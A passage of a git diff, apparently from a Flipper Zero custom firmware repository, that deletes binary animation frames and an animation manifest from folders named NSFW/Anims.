zKOj6}VE+ffeM`fDP#8W7#Bnfr|AFa%hs=TYhZq{H!RD__^HemR_x5gR^C?Gxm@9~6#@{53g!0HeVH-~-rzpW~p|5$ZrtsYn6t zFf_2hA_w&V5WLEyZ(sn1#sSV65Pl)%u{s$20ESy1fIR*Iqu>Y+f+8RQf{YF$QxK97 F0pwOj+h+g( diff --git a/assets/resources/dolphin_custom/NSFW/Anims/PaxGod_TikTok_Marketing/frame_21.bm b/assets/resources/dolphin_custom/NSFW/Anims/PaxGod_TikTok_Marketing/frame_21.bm deleted file mode 100644 index ea71be67e9dd3055355b2fe819ebb34d9f16cc9e..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 454 zcmV;%0XhBw0Kx$P9CP^r1hoTy0D%EV;s1k!+duyT7lY692e*U14?q0=0S*VR^WT38 z5VWI!Y*I=fL|j3>+45<@=?E4ht}RfCOG(a|fwC zLG=s|mH-}qfO#Us9wV{`+#Vngz*xsY^?!g^FcDCGAI4()AbrQwLJz9}?0*yf1K2_9 z|A0^+2=TZB>j4Bmjst=Zrup!J^8XpI40wR~FNi3-0QcX!)E^n}`7_8!fb$E9JVWG> z7yALubiW{cL99TM00=%K{wO&t!S4f~_^|NMSwVnh{s*1@#ejr^>;gCm_&;C(_g5G^ zNhS}t_&x9d^%j^u-XsrR0{p?`P!It_f%2X>2Y3oL1o{AkfPhkvAJhOa5?O=BAP;eY w1H>pr_81{ljp+vpAUu3&_6MTKd>l4=2iXXR^Mm*Rg?|DG%)v(oBBPOwW_ZrTP5=M^ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/PaxGod_TikTok_Marketing/frame_22.bm b/assets/resources/dolphin_custom/NSFW/Anims/PaxGod_TikTok_Marketing/frame_22.bm deleted file mode 100644 index 63283c34af402eca159002f1103c27118931738f..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 472 zcmV;}0VnO9l@s z__)F1Bs4IC%YIQH0Rc>WAo4yCJ%`2*B+|!?rVl@O_`&A_2d#}Vq4$T(!SHS{c%BRZ zO#&yRJiMU!FAf0qZvz*)Y{BsXz(M9f_Wv8q3@|zHKR6J0U@VHp4_^cv_CWM!pd5we zfCtGv0rw0KmjEAYvj@6tMdJ_$x8NRu0gi+6!2pVb>i&Nzh(D+P2pB$v;~)4(`~dg= zz$g#|c-#T?fPx>#fDgDla1=fydxORPGhi6`AmH-;gV4Spq5>d%?e6vX1Ke&Qp=XeO z0OC&&`2*+xGo^Vzz~%l2lnxDH1dxzH@gMNP&twmo|A!9^1&}^3_8bHxAAk4`0)7i9 z5Db&X4=4aXMJ5kS06kkK02nYn1*QNLxo`pM@gRFE%pODp2bF*x!~_DA!2YBJC5(On z5C^dU$zwf$MhWcmJ_q$ICiWO50{&GKdyEeOV@JRMej>5(P+RZ-7`SMEs6+e`%m{D~ Og3&$z^CF>$-U|nYD9Y9V diff --git a/assets/resources/dolphin_custom/NSFW/Anims/PaxGod_TikTok_Marketing/frame_23.bm b/assets/resources/dolphin_custom/NSFW/Anims/PaxGod_TikTok_Marketing/frame_23.bm deleted file mode 100644 index 843aed27c7df836480f795cd649be62ae08f6ad7..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 462 zcmV;<0Wtmo0LlRXAM^hM2j_qv0g(b1{{QfUgO`ENzlTmAfCsnZ-#-zY1_2(x1JnQa zpU5x);RFmIj^FtF!@x2kY<}bOkKlNqkOKjVL_Smh@bq91ZU9h)#t$9%xiAHCfP4Yv z4+w}p2f`0C(u2r+VDcXj0EDD2FnHX}OCATj#2%sY^Mlc{!Sdh((UQROC#Zfw>RuDt z1IfA|^(CAEUSRdWLFPsE2dEfebKv`bf$6}5#{v1^gO~3?8ra`UB*?AfosK+`caK2f!Rd;?FR7|AFNLCzHIu;ty~D#(+b>2gW@gg~5r^p_{(+8!2 zeqix8mI*jc?Ad%Ohh0Y E96sC7hyVZp diff --git a/assets/resources/dolphin_custom/NSFW/Anims/PaxGod_TikTok_Marketing/frame_24.bm b/assets/resources/dolphin_custom/NSFW/Anims/PaxGod_TikTok_Marketing/frame_24.bm deleted file mode 100644 index ad87a307189f29491e693d9665e9c9780584f1ab..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 487 zcmV={XPjp2dR8PL=T9&y+VlZIXEbZ<-iBL z44zYPDBT$Ej}Ouzy-{_a2$C2Pi7B@|AP+=2i*PsFpzrS0qC$N7=!Kt4?_8H z0qQw0eV0rgo&b7_Odgg7d4t8`N%fc~%pO0|0hYuHAolr?43;7Rj1SiiKrncLMi>uR z|M~(C83+C$0K)^$2minR1_dzw1qA+p@&E8lC2+h0#QuQt-~It*I8U%Vzwje){3LGn d2b!qLWdJ{zJg?x9RE-24Ux0h3MTmq0fq*|E+=BoB diff --git a/assets/resources/dolphin_custom/NSFW/Anims/PaxGod_TikTok_Marketing/frame_25.bm b/assets/resources/dolphin_custom/NSFW/Anims/PaxGod_TikTok_Marketing/frame_25.bm deleted file mode 100644 index 78de0389efdf70991b33b41f855675bea8b3248f..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 483 zcmV<90UZ7T0N()sAH)9#2j&C+0|d8o{sb@o|Dqpm2R{BSIQ#;94`1h=egq%zw5Nl1 z`^VxO0P#Ss1$O<%~y{_3%OC!1`{OEX-yP zQhHzvXZ#1O5I$T0`GeekTmbzvOdkMpz(+y(V1P|Q_Jk-!DKs!{!ec`g{ZOUl37v0q-|=uK*tKF!>Y7h=BD4 z2z-I`02$B>f$@h=hycOnUN{Uqek8L8#DBquhJ)7t4@>=r01w51G|mhUhzLCc<-iB2 zB*FIiFnV|a>wgEmfgWJ-0SGv-2r`%h*YZFz*scaJFJBn|$zmW7dqc0&^`H0=&I6WuBKln$G z=wxsXF};rBq8>R^h+^+CK)`>)vBQJs|5bqAA@F1=C(s^Wa7e&m#NmIaJb^<%HH>&3 ZO7jPmd=ycL!Vv-Jj~oCzVGTnElpL}U-NOI? diff --git a/assets/resources/dolphin_custom/NSFW/Anims/PaxGod_TikTok_Marketing/frame_27.bm b/assets/resources/dolphin_custom/NSFW/Anims/PaxGod_TikTok_Marketing/frame_27.bm deleted file mode 100644 index 32bb893cae287bcce9d3d5d3590bc1cd890ac96d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 488 zcmV%HfP*6h0v~`pVBx3d-@t?Z0gd<`-w!SG~&;P*%1`-&!f#u&QiD1B{cp!M5 z*T4@k@dHIRya0Lsf#>%$s64y?;s=b)P_gmygT^usf5(U(kdXWvj2uS;QYP-^ZX0iFb`n)vCn&d56B#B5Dl;X{tu)0%s^rfiTZqiV*vP%+!iA71(1FT zLqLEd%kUq6`Tarm&olf3#r`v3c_qXiqwzP4iGD!$i@VewpWt~w!{k3M06t0LA1nYq zU?TGm%s#^afdk484pY=(jldH;hC4F}W*|6#yFMeBeEtp@Uy@Oi7wz`rnfxJVwz^9PcMUFR@>OabfjRUhO21sK5naO49W30Ohx5C1Zf{{Y4- z)Bj)m3WXF@cn1(3zw@}jcpeg|cmeDz9RD01DFH{IJg}hw!|=pnzfgI2!9xJSnG7D^ e_#h}?$3+LG{sBOMK_QAm2b3Hhun0grhzAGqspMh+ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/PaxGod_TikTok_Marketing/frame_3.bm b/assets/resources/dolphin_custom/NSFW/Anims/PaxGod_TikTok_Marketing/frame_3.bm deleted file mode 100644 index 30b2bf584cdeea2c4a2035840419681914c9bc06..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 398 zcmV;90df8T0Ez(sANmFcPxt_!AcX>+03RRk{2U5i0DFcC{su3AJs|>x3zzU7k-&Px z#-$c0|%M>nC1^yMnT?S@>ifd zVfct2fFEB-eo_bc|NnvTp&s%0Vd44z^XJV0fd8-H@)HO=*hCK>&^)*R`VW{r(nI)2 z2>hrFQ3s*Oe-MA*Jgflt_+Q3^#}ItA)ruf;0Sp8le=z|A;a)}25Qx0N?A|i4gVgd* zV*?mHmm&@@0E`G;m;rJC1g=ey2b2Ilz;OqNj7MZRAbJ!=9$OSq1IYeG6OVv}5|iPA s|D)xxkAaKx69=yVvLN&5eu{(uXHobi;OHrh{BB_Rn0x?*Kr#>kK(D#FBme*a diff --git a/assets/resources/dolphin_custom/NSFW/Anims/PaxGod_TikTok_Marketing/frame_4.bm b/assets/resources/dolphin_custom/NSFW/Anims/PaxGod_TikTok_Marketing/frame_4.bm deleted file mode 100644 index 4bcbb83bb02052c171c7e836e6e96c1515d0eb71..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 390 zcmV;10eSub0D=Jk7xVuD1E>4|P!KtPzwq#J@B#7$PXIl@#2`PwKBwel2b>^}17ZV| zIst$KoD3|W@f?Uh!3Yl_ddI==Pf&l~!SH`jc@7L8A8>k~%is@mdjr%0C-eu?o!jXH z56C@<@DEdYA`Biwbb+tPkYM+Nz<~-6fH=GmA87*zxcH0+4r843?9I82lzk1@?Ri-mB=3|0tb@4Ab0>tJIEg&j5>&a z{qTH1K_ed=4zX@v_T%5d1H}iY^d6Xd|AM{|5P47@=mHr3076mlc-R5$0l-7ZA`f^N z2uA}C@C(jBb|86Q%LUN~oWLI{bch4*;t(YIf9K%zVTeBfg4R%aIthG00Wyd@&m=A& z0y)eccnR=5e*p75lrlgMQNf4L_;VkCK?)-W{sYXwP(q5Xgw#WFD6l+Tf)6iz4j>O- kgnWi8l1PfUfD8{Wgw6yGhy{3zP>3)-X8ZoW<~OF?kh?9*{9YgZv-h{2!G39_``>oa`UL^FN?Hui*IL1Vx@e z`S1hLj9~RJll+1H53f7}{8w859Y6l?d&~jrKLH3oKk!w%LmNCmXy(VxaNx8jU(Y Y1>iib|1KbKQFnNK<9^wS}1LQ!TzCI2tU#2KeYRs;9fxdbQCxq>fr~VegXauWU+(%9*_`!o7HS!{|BxBAKn27zsmj( zfr$g#;174R1O8wqAbCOX0QV29{2qsLj04+%58L=X;Q;mj_($!C2e1Is=0{L_d;%jt zf1n6X#|ICR9RcHiOPiSBAAov6*yO%8f`i5eM=1C`8wL+pNIgd-2M3WbV~fEEAUwa& w90UY#KhpvfN)P-8iX`S>^j!=;;13}X!GOc*{}A`jRap#kPcH^8(MA8LaK%Hcr94~0Pi zjP7ED2l`-v@Tg#XGlU2!2{qBVDd8WD0QSZM z*M1K)d4t>j4>TUkErLr{v}bm+}G_GYH@T>lnWq$RAna*n`YmAok~ygdU^zAdo*t zA`c`1p@bfb^9Rr*f$Wc1+MxmS3kRZn!RZHe5Pgis4{-T|)chd#ccdKrApZyA^g;dr z9{?C!f)DUA0w65F{|B!CUqyol+xUV04k7%5%7Ab2eY=Ps>HL2XKf(SF@P0r+3brtO zd;$IsP%#6_UJvc~Ab$X1zk}hRK>r7i^a?>^2bn}c?HC8o_#SY8dbmgUcU)jSVc`B< z2tBZX^+gCgr}zM{@B!*d5P3Ju9`F!(F^>TMPygON41nMC3^WVVY&NTvq$BqRc zdW;MnIdM6U%m5>T2aLQPGylMWTqOqwoCmK=b}X|MT(kgVYLF@Ok(F z>%hN)3Iq=?z&(5r@j*w)%nvWb3~*%T2aH4fNJtquLE|1Rh(9~$u>_h#f$BjZdw+rI z2@rm!6dp$PO%OjKVE&DR;a;$?davQYK=$|p(J&~K2f*Ng_YVhbYAj9Mj@O%yoA83OUFg@@Xu>T9}{=oQGus$H*{|EF9-k|>n_&>q% z0SEXXxD93a1JDvc{9q72!Q|F3d=dxd4>`a+N+KU0I6UJ3^+1Sxex`H81J&Xn@%@9( z7!O$ZJin@Q2eN2W1aB9>@d4@z5P2))^gx0l3mF^b|NFqf%!1L$f z(WU={gUw)J@q>wso?rn7qCEUR_<%hBfc5wQg(^oC7Ky0fAAy1xNFKlj`~%38pap!4 EJYmqPVE_OC diff --git a/assets/resources/dolphin_custom/NSFW/Anims/PaxGod_TikTok_Marketing/meta.txt b/assets/resources/dolphin_custom/NSFW/Anims/PaxGod_TikTok_Marketing/meta.txt deleted file mode 100644 index fb0fdb228..000000000 --- a/assets/resources/dolphin_custom/NSFW/Anims/PaxGod_TikTok_Marketing/meta.txt +++ /dev/null @@ -1,13 +0,0 @@ -Filetype: Flipper Animation -Version: 1 -Width: 128 -Height: 64 -Passive frames: 21 -Active frames: 1 -Frames order: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 -Active cycles: 1 -Frame rate: 5 -Duration: 360 -Active cooldown: 7 - -Bubble slots: 0 \ No newline at end of file diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_1/frame_0.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_1/frame_0.bm deleted file mode 100644 index 7a2c59d074b413a723a3c114587e91295ad58874..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 280 zcmZQ%5Mlh^V8i%;pP_>JfE>dIc3hmu{|xdQ{xDeUf8b#MAzx5X@sII4BYXb=zeUg6 zrwG~cNB&`MkPO_>$bCReG2_4~c4qb|f37He{Ks%)K}w(LyrQ-$N$He|LmW!M9%*Ejg`r7|FKVC*y~XAG7M K&NrX|zzzVh2W%Js diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_1/frame_1.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_1/frame_1.bm deleted file mode 100644 index c8f25761171327a7ae5000cceaf8df554f5d2a4e..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 279 zcmZQ%5N7<}V8i%;pP_>JfE>dIc3hmiANC9CAC&n&kZ-7SNRVT&az1#Py@7!xXYn=m ziHuCkgcS>JD99f&;yYucc=4aZ33hq*2|Uiq35C7W0&SP{?!77FTN#N z*!Vwn;Ph;nwv>_mqC-rR^R&i>&P;|+=NnG)X=*Yk-QC~tT~kxVL7+`Bg-1d*f$@3s J7HBx|003(QYPbLZ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_1/frame_10.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_1/frame_10.bm deleted file mode 100644 index 7caa58a3d7c09dcd2063b7c985eb2c5738fb0252..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 312 zcmV-80muFU05k#rfII=<4*+-rz#ahb1pGn$;0J62fDOI`eO5ofbkEmjAfV|03;Yj= zcs)JwpKc zG{NTp2f4ukj&N{&7!V%tg98KIs383CU*D|(RyZJz1`lIcyolgvxSyO99>A1vm@J@0 zr7Vg7!Q`?aNstJjMDdIQ2y$csaS%L_M9M=^4NBoYjsw_kK=S@yFLK!c z#y$_BfPs*(K=l|1KS_cXV0*#9%IQ%_ftDVZAO*qK#sH`q_`noqPy|EYrarNEK+UW^ KfPX{5+7Ga834`PS diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_1/frame_11.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_1/frame_11.bm deleted file mode 100644 index 85013c1f1fc9a575a464fd99c26a671cdbb4f0e0..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 281 zcmZQ%5M}(|V8i%;pP_>JfE>dIb`XcX;fKY8*UjtN8~C>cCNN&L&z*lj-rz%JhZfr( z{{z1cumm=KV&ML3Z??xm>Ckig33kbkC$c{*sbgbh-@JfE>dIb`XcX{}1DD#skcoO?DjGIlTi2ND)XrIv1ptS!u^ZEZy92fRqZpv&BSfZ%N=fLnl;iIht YlR}bW6_9*zT0_FV0p@W~DExl_06VdB$^ZZW diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_1/frame_13.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_1/frame_13.bm deleted file mode 100644 index c93bbb3578ae2231b1cdae9f4a83d099a30e7414..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 248 zcmZQ%_`>kN!G`exKSKrc0Xc>b>=2Io0oe_94A#nT*OiJl$OeDE?|krC;0g(wBSLbH ztjtp!8J{umG01HYaA=wFZ2HHOj>n9o>>oBdete*D#%4CdSCJjIr;S*&$p#L&=^P0&8n}3bcE&3=KL3CG;LAFG qOO7Vje^C<{55C}={-UEpzM!CD%?U=sFB^Uw{9ex%f$TS+N7(>FXKIN6 diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_1/frame_14.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_1/frame_14.bm deleted file mode 100644 index 39bb23347731f971e24a01bead8b0c0661137a7e..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 269 zcmZQ%;AH&YV8i%;pP_>JfE>dIb|{C*fZ=WX0sDqOrTh)Ho6j)tB*-%))i3zZ!NdHY znVq9I|NjZrCI&x&2@M=_#XkKk7)-~Zrl_E7jPUk&?1=5q(QTrIj=7#xe(Cuq!i{D*!1pJ~pMMFcDv zpB`xZ!N`^?P@T-Rh+&b%bH;1@dJpWoUh&WWVDI&YzvU+LhaU}`jei(_%d>y^yQTr% H$BYL6Tj6f6 diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_1/frame_15.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_1/frame_15.bm deleted file mode 100644 index 7042f7ef32a1bfe329124cde093a3f7d1a358ca0..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 305 zcmZQ%&}IDJV8i%;pP_>JfE>dI_6F%gOp^aU$eRCW|7XwegYozy{)`_s2_G0F&i`Qe z*4%cCz2Hy%1MTmP&Bqx3{Bgedk?}|TQRg509JcE}@E>GZulGZ@|3Q<}BlZm{^%IOT zo9|q+Kfp1?MehEl4+qp4KF)8x|4Gw_;m5(}pJi4sIzBzf-eJY~yn+21gIum7`(c~O z$)9x=Fp4zs>kCyl@GTLa(dcHu-xSb%hSB~(-Si&$)JLTgnB0%>ANIyNBa7UD;^aA)Cacy@E;k!GHFjKOH}n2ebTd`~?aMlyCua5&+Wng|z?x diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_1/frame_16.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_1/frame_16.bm deleted file mode 100644 index fad6d98d04ce4f78371637aa8bea38155bb171d4..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 305 zcmV-10nYvb04)LkfGZvhumNDf{qYBF|KJbU{{SDbJOFb4-}neV;NbDVN5z-^zmJTC z5FhmXyixT0KtIv{z?6aSe*_Fa_yr()&&y*62Z*>q?+*uwL`B38csXETBti$o55No& zpo8WCfWM4J9uI=SN5~`(g26xtBoAD9IDsTF5FrE32AB~^z$1Y6fR@BkU)6>-h#a#ddG!F12-t#xCF5U6dnQm2bo-i;w~@zJP2U+1R*&=@BmJHF#0)Pv9KZwk6Cgfk8~`zc%f>H5 z373Q(a1qFZ)Bs@f{6HYU{4Nkaz@-ES@B%^pKTv;z@i<`r06qb@pa}2-`N%;0{{!Yc zPGEarC*VTh1LuK%0vEs@)4)*!&-f2(;bh0n|A&={W+jmUiZsFN0|gK~NyraKI$)OK zoiG5$!Q~$;ksMQ|4^TRRkRD)kpOcgyAOF}r;{b&KGT>*x{s(9N{zqU0ctQLC@CSfA X0pJe+cmu#50PqKZJOSVj0C)nx=s|O- diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_1/frame_18.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_1/frame_18.bm deleted file mode 100644 index 0a60f3b79c1197ab9e9257b12466daad2e62d54f..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 270 zcmZQ%;9~sWApe20f$0z9KmHH(&D;L@zo@WZp!9eD0mk3*4HXP8pR;e_kvsK0hQn6< z!MFD2;|=TqMTtibH#}(KBvgSLjq z&d)y{*fgs7321(N_~1+b)C+Pk5)!sTDylI&Jo6mb*=JsH{K2=OzWI+_!fW;)`w#v* zYEZl4Nd5kX`g+E{|JaW|=&4~SWWN39kK!lh+yB|c4fi}a-o!q`;^1>WnJG3k2b&(a zA6H=($ztI@Xm2CH<9Uif;zx|TYQ5VEhV}pX|H+(dc*?*rH$mkogNsbf0e*%G<^ysJ NAJ`jg7$0D87y!{ab>9F0 diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_1/frame_19.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_1/frame_19.bm deleted file mode 100644 index 2fde418eba8e32833b3d8cb1683b5d6e6efb67e8..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 281 zcmZQ%5M}(|AZEv&zlasCTPx_}ke0{{a6x2Kxkszxxj`{^oDs|JtYU z?cnkdxyOZiD{K!l=_OUOv1rsEs7zqyiLpLl)5>Yjtitzzzj#AqA7cXh>;tEssMs^u z++k;ApV?Ev@Y!PG7sqEN3QYee9pTrou>H?4nf(GIR|o%x`sNQW9RIWbV2U}Se^jCQ z`-6K5tp6DQd{wOdAlJ>IBRrG+2*1U{gyoN(+0Xf56#lW;`rIET`G+y*moP~DVfy$d zdBczYj~m&0Sp60`vd{VS^G{=+N1w}M_Woc0|1<-cN=^(afBZTa)fHWiya*TA#N@-( c!N{$^RH5*ep@R8<9K#3p1{=l){Ky`GV8i%;pP_>JfE>dIcAOlx`v(OdFsuBLx&4EUfp5ZxqVo?J7+F+g*aH7Q zh;V$uD!}OAl>UQ}!={5n)q?%-e`fXx8t)%C$#$eTK0eUj!y}i_$i&0q=Agtov7^(4 zN&X{`pQ=6M1e@gypPBm#%g^6<+o&noCh1bRpY_) z|MxdPjIjSN;m~npa=?$aBXSN0|1Y^&;qa+(qw)tS1%`uHnu;eku4J>fnZf+*Uz$Tr fgUFHJ0PjEc9R4?ar~fb?;XnC@`2qh43;P8Mf5kcM6CeBolDvx< zI+$$lC&u~>HXj(<)TT4YC9+sgG--Uz@JIHH zT!0OOt%nl3pb{Gb0f|D83#pza^n zoBehSGW(B|K48B1M6rZH{Nud}4vU!i%MbiuZ2u=C!|;=(+`GJu6W_J{5M{{qf%ugWoeU`OV# GHUIz|b!i0v diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_1/frame_21.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_1/frame_21.bm deleted file mode 100644 index 5eaa215b10320c86f2641575bb94cf3d8095429b..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 281 zcmZQ%5M}(|V8i%;pP_>J0H^&Q=5PET*x#_oU*K<_Q9FVE_zn4j4;4K|{0#qcIBzoi zcVWC*pUq>X_=o*Wjhx{_j{bFwHV2qya1qWQ`cZ{d?hLJiusO>!jFauPOdrn zA8du3BphefF}~U;yp#D96MquN)Uy`x3{?%H5ea{!B$#{_B`dIsvdF(aB>r&1Nuc%h z&41*de*3|CL+<|(YvucY`Pnzf-gv`q#r)yU8-6=Rov=szl|OhYjvD^2|Nr2L@I2;u z&H@FCxEcT7YCI7Z{9!`_i-$rm_XL~z{{ohBtTz;x8~aW$Bs>0Lzan?6kwu3^W&xwT T{(nCH0(Q8^<) z0|@IJ06n||(g%?=LF^Y&8ApNY093$(Y#vI&08tS@6Zkop0>9Vrb}0pTr0ECu@fg4d z_yhZZFMr}4f$#oPvAvA~#}fjL+4z9-SCnCHVuoj&!ERvpBbUIOU-82O%K`I%lY{^+ zg)5NkVE+Jl4hO&zBDoI6J}x0ad=Z4uFW@kM1Sk-|&CKQ;FaZh#5TYRfE&Qlta|f^i h@L>M&gZv-guzvtN0pJe+cmu#50PqKZJOSVj0BCo3cS8UG diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_1/frame_23.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_1/frame_23.bm deleted file mode 100644 index 40b6654be331159635d4252c903c760705ed4cf2..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 266 zcmZQ%U}OB>V8i%;pP_>JfE>dIb|{D8!T*N(3dY~e514;5@ZaEJ{%`-EiBFz`NnA!Q zo}>OlUjf5`26iTXJr*9hzz+q@rw=g;SUT`I*E36qEE0a;c)NwqG_)o|%N$?+zXwWTCc;nr9kwN&MIS13NNBsAh&N2vX5mjRT6Yuah%Yb2j`#1KD z3qoEW(4QkQA*YZ*!Da)K(f|Js9()a--u#>KKl71-GoSv|GcIBfIV^bU0Ke;D!83Aw xZPGJr*;)7JfE>dI_68dUdx8222WNTqa2C0M`X_&6KK^I0Sy100|3jYn zQ^OGj`2*F?KNvoj@IR3I!BBDVJ`2BrCG!QF0R9F`#>edJ6J!?1F;q16XvA~>Q24<# zk$oG3TmzewguOz7;eO^{75tkcng3bvZ-|xk*`5{5{{2%O-x>Bl@@pK~f7tsTme>D0 zkwJt%hvDwQH`5!cYsB99=O4avfXzJr`#(O8z+E5g|9?Def68FGiF4~I10jJ*J_)|a zLjm0<9voIZ_y!>I8yG!DA`dITJmBy0fcOF89xML<9Dwq$21FjS@G%3*0E!Sf zP5`1+FnNZ=4pIPNgWCKHV0sSBAH;+Q)O;U8vxWos0bBrod<`38h;2+Dhc@RGE0P|tEJi7q$z!}^gUw|=q815G@;avaZM*oA+Za?@KJ%j=e zE&x1W>K94~Jt5%t!H$R?NrnUn=*Q$>UjRJCLJuOr70>`ep#zzK&cXmOQ3+65qND;6 zWS_zSQBZ+X;0|P223!E6p$F-JLH-ZY(1Y~=ApLQWKVTsKfrI)U4$udHJOSVeU*~)v diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_1/frame_26.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_1/frame_26.bm deleted file mode 100644 index ae44ce634cd3c846db20ce559099fde28b48aee6..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 365 zcmV-z0h0a!0BHgLfFIxqfC59o{Q&R-vOfUe1M&_J=nMk@4$yvI&o}@X_%wI``!0+F z;Q{{x8^^~+2t0q#FnjRuAo3=RANUSlJPdLm@ji?^9@uydfF4TGhyDTT9u`QaPCgHS zK!e1dGw^we1U}FY<^AACatDy?Kw=~id8tiwBe4gZ{2nS|2bt_y#o(Wbg^Gaozyrie zK=J{X_z+~W02`?90E3SM)P`ULjsy4r!)6Eg0q_9+@B{ns5AX0lSwe5tn5WKg50BtI zCxH0>fCYxe)d!=fL-G9wi|lv>IuMKuAA}JHh`xd42M6>$#=ii2j0M04DQtlzp%8Nx$R2b5Kt3Qi08{`H1`p^sKf(PE2lRX&)9`;^ L!Tt~L{{#@=K(L`B diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_1/frame_27.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_1/frame_27.bm deleted file mode 100644 index 9539893dc3e12d2c32ccb75957af0773ee2db44a..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 361 zcmV-v0hay&0A&IHfEoq~fC7eO0F&@||AF@p2krclU%>W*@VYn%Kj0Ys@DRXY9te0o zFaY!XN5SrD6Y2k>{{VYI!R8|w_&tq84=w;ad;s;2qD&rF@OvgqMkO)_&+uk|`TR3U zIy@3$1JH&=(Fd3?LFe!XkhE}M@=J(3_y95}2t0!1+D34K2p&Lk2cQ7|&@|D5=lKB- z7(Rax81NXu@$fB(JsZLRUjRR_0R8|mQ2-K_5Pt9h{MHb8cmi_v5PlDYAEV(1?|>dB z@xUgSe1P*^GBm&f&o99`f%tzgd3+c4KQMmaN%9XNc<{mbA1V*Q9$$etgX8d1FW?M; z=|A9K{}J#w|A1tXUj+aCe+!sB{%JxW5Bw%e761`2Kw=NE;DE&Fp!FULq)vp!I6RC3BoKX&1RVge9Ku0?{eK-u1Hc{t H@CSf2jgFeB diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_1/frame_28.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_1/frame_28.bm deleted file mode 100644 index 3135c4cc3657edb4df0fefd5b454878d21afa113..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 338 zcmV-Y0j>T408Rn_fEot?_yU{&fsqI0{2o34eZ#^04j6|36w&Y*Pr>6n2fQEnE=&FZ z9?%@%OrRJ5d?3vFB+*4Nq`$&3K9mF=q@o9y3}9d(2eCjw;zJ;P5X{bC`3?*`A0L95 z6UIIdP+5KgWStoQ;2!?~c@PGE@K;I4!R7wHgUl=-@_<4BW&FRq32r3w03lF8;?^L1 zcqi>4BOpDv0D*!7?*Ir;d_V#JJ_q#hAHW3%_&p0N|K5fE2gkr3pZkG&OXM^kf&V$5|HKVnf6M>z2w?dlAU(lD{s)iz zA0VLznE-FV_kn|p{|6d~J-`SLC2f8Y;P9{=+Ynv}L6G9DBJ9{d0qsL3FJ z_EwY~Ab_)+0LU0A0pXX{0WblP0AS=)2bciX1pZKa6a*e;G6%3|LFOPJd;gk(56i%n zLGU$Te}nuV;Pill=oV(A2h2bp(*S>5Ai(+!m%(&^{|D4OAJOo0_zC9&{65qGK#>oQ z0^j}z$G~1-F$ci?0pw7Dd4u*24^@)_h#qnL1bt?pqX(4yut4^ogUkSJf(NGn9>f#} zm#`klG#`?5Knlb_TL2Ir=|czH{2#&t2jU2P0Q~@X1Hc{t@CSfA0pJe+cmu#50PqKZ E1n~ERi2wiq diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_1/frame_3.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_1/frame_3.bm deleted file mode 100644 index de1b0a06329a80fe0abb7d892848dd7df44f0511..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 273 zcmZQ%;AQ;ZV8i%;pP_>JfE>dIc6=O$2!XQW4;Ty^4wygKvcKUJKg0j{2Mmn7D|i+p 